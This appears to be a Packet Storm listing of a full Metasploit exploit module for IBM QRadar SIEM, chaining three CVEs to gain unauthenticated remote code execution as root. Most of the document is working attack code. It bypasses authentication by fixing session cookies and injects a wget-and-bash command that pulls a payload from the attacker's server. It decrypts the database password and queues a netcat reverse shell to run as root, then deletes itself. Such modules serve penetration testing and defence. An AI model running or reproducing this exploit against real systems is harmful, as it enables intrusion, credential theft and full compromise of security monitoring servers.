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IBM QRadar SIEM Unauthenticated Remote Code Execution

IBM QRadar SIEM Unauthenticated Remote Code Execution
Posted Jul 11, 2018
Authored by Pedro Ribeiro | Site metasploit.com

IBM QRadar SIEM has three vulnerabilities in the Forensics web application that when chained together allow an attacker to achieve unauthenticated remote code execution. The first stage bypasses authentication by fixating session cookies. The second stage uses those authenticated sessions cookies to write a file to disk and execute that file as the "nobody" user. The third and final stage occurs when the file executed as "nobody" writes an entry into the database that causes QRadar to execute a shell script controlled by the attacker as root within the next minute. Details about these vulnerabilities can be found in the advisories listed in References. The Forensics web application is disabled in QRadar Community Edition, but the code still works, so these vulnerabilities can be exploited in all flavors of QRadar. This Metasploit module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8 patch 12 and 7.3.1 patch 3 are vulnerable. Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.

tags | exploit, remote, web, shell, root, vulnerability, code execution
advisories | CVE-2016-9722, CVE-2018-1418, CVE-2018-1612
MD5 | 221b05c8f4d9bb44521c8ebfe10f771d

IBM QRadar SIEM Unauthenticated Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'securerandom'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'IBM QRadar SIEM Unauthenticated Remote Code Execution',
'Description' => %q{
IBM QRadar SIEM has three vulnerabilities in the Forensics web application
that when chained together allow an attacker to achieve unauthenticated remote code execution.

The first stage bypasses authentication by fixating session cookies.
The second stage uses those authenticated sessions cookies to write a file to disk and execute
that file as the "nobody" user.
The third and final stage occurs when the file executed as "nobody" writes an entry into the
database that causes QRadar to execute a shell script controlled by the attacker as root within
the next minute.
Details about these vulnerabilities can be found in the advisories listed in References.

The Forensics web application is disabled in QRadar Community Edition, but the code still works,
so these vulnerabilities can be exploited in all flavours of QRadar.
This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8
patch 12 and 7.3.1 patch 3 are vulnerable.
Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'References' =>
[
['CVE', '2016-9722'],
['CVE', '2018-1418'],
['CVE', '2018-1612'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3689'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-qradar-siem-forensics.txt'],
['URL', 'http://seclists.org/fulldisclosure/2018/May/54'],
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg22015797']
],
'Targets' =>
[
[ 'IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11', {} ],
],
'Payload' => {
'Compat' => {
'ConnectionType' => 'reverse',
}
},
'DefaultOptions' => {
'SSL' => true,
# we can only run shell scripts, so set a reverse netcat payload by default
# the payload that will be run is in the first few lines of @payload
'PAYLOAD' => 'generic/shell_reverse_tcp',
},
'DisclosureDate' => 'May 28 2018',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptString.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']),
OptString.new('SRVPORT', [true, 'HTTP server port', '4448']),
])
end

def check
res = send_request_cgi({
'uri' => '/ForensicsAnalysisServlet/',
'method' => 'GET'
})

if res.nil?
vprint_error 'Connection failed'
return CheckCode::Unknown
end

if res.code == 403
return CheckCode::Detected
end

CheckCode::Safe
rescue ::Rex::ConnectionError
vprint_error 'Connection failed'
return CheckCode::Unknown
end

# Handle incoming requests from QRadar
def on_request_uri(cli, request)
print_good("#{peer} - Sending privilege escalation payload to QRadar...")
print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
send_response(cli, @payload)
end


# step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet
def set_cookies
@sec_cookie = SecureRandom.uuid
@csrf_cookie = SecureRandom.uuid

post_data = "#{rand_text_alpha(5..12)},#{rand_text_alpha(5..12)}," +
"#{@sec_cookie},#{@csrf_cookie}"

res = send_request_cgi({
'uri' => '/ForensicsAnalysisServlet/',
'method' => 'POST',
'ctype' => 'application/json',
'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};",
'vars_get' =>
{
'action' => 'setSecurityTokens',
'forensicsManagedHostIps' => "#{rand(256)}.#{rand(256)}.#{rand(256)}.#{rand(256)}"
},
'data' => post_data
})

if res.nil? or res.code != 200
fail_with(Failure::Unknown, "#{peer} - Failed to set the SEC and QRadar CSRF cookies")
end
end

def exploit
print_status("#{peer} - Attempting to exploit #{target.name}")

# run step 1
set_cookies

# let's prepare step 2 (payload) and 3 (payload exec as root)
@payload_name = rand_text_alpha_lower(3..5)
root_payload = rand_text_alpha_lower(3..5)

if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end

http_service = (datastore['SSL'] ? 'https://' : 'http://') + srv_host + ':' + datastore['SRVPORT'].to_s
service_uri = http_service + '/' + @payload_name

print_status("#{peer} - Starting up our web service on #{http_service} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => "/#{@payload_name}"
}})

@payload = %{#!/bin/bash

# our payload that's going to be downloaded from our web server
cat <<EOF > /store/configservices/staging/updates/#{root_payload}
#!/bin/bash
/usr/bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} &
EOF

### below is adapted from /opt/qradar/support/changePasswd.sh
[ -z $NVA_CONF ] && NVA_CONF="/opt/qradar/conf/nva.conf"
NVACONF=`grep "^NVACONF=" $NVA_CONF 2> /dev/null | cut -d= -f2`
FRAMEWORKS_PROPERTIES_FILE="frameworks.properties"
FORENSICS_USER_FILE="config_user.xml"
FORENSICS_USER_FILE_CONFIG="$NVACONF/$FORENSICS_USER_FILE"

# get the encrypted db password from the config
PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\w\\=\\+\\/]*)(?=<)'`

QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}')

AU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm
P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)
P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-)

AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`

#if 7.2.8 or greater, use new method for hashing and salting passwords
if [[ $QVERSION -gt 727 || -z "$AESKEY" ]]
then
PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED}))
[ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255
else

PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`
[ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255
fi

PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c \
"insert into autoupdate_patch values ('#{root_payload}',#{rand(1000)+100},'minor',false,#{rand(9999)+100},0,'',1,false,'','','',false)"

# kill ourselves!
(sleep 2 && rm -- "$0") &
}

# let's do step 2 then, ask QRadar to download and execute our payload
print_status("#{peer} - Asking QRadar to download and execute #{service_uri}")

exec_cmd = "$(mkdir -p /store/configservices/staging/updates && wget --no-check-certificate -O " +
"/store/configservices/staging/updates/#{@payload_name} #{service_uri} && " +
"/bin/bash /store/configservices/staging/updates/#{@payload_name})"

payload_step2 = "pcap[0][pcap]" +
"=/#{rand_text_alpha_lower(2..6) + '/' + rand_text_alpha_lower(2..6)}" +
"&pcap[1][pcap]=#{Rex::Text::uri_encode(exec_cmd, 'hex-all')}"

uri_step2 = "/ForensicsAnalysisServlet/?forensicsManagedHostIps" +
"=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true"

res = send_request_cgi({
'uri' => uri_step2 + '&' + payload_step2,
'method' => 'GET',
'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};",
})

# now we just sit back and wait for step 2 payload to be downloaded and executed
# ... and then step 3 to complete. Let's give it a little more than a minute.
Rex.sleep 80
end
end

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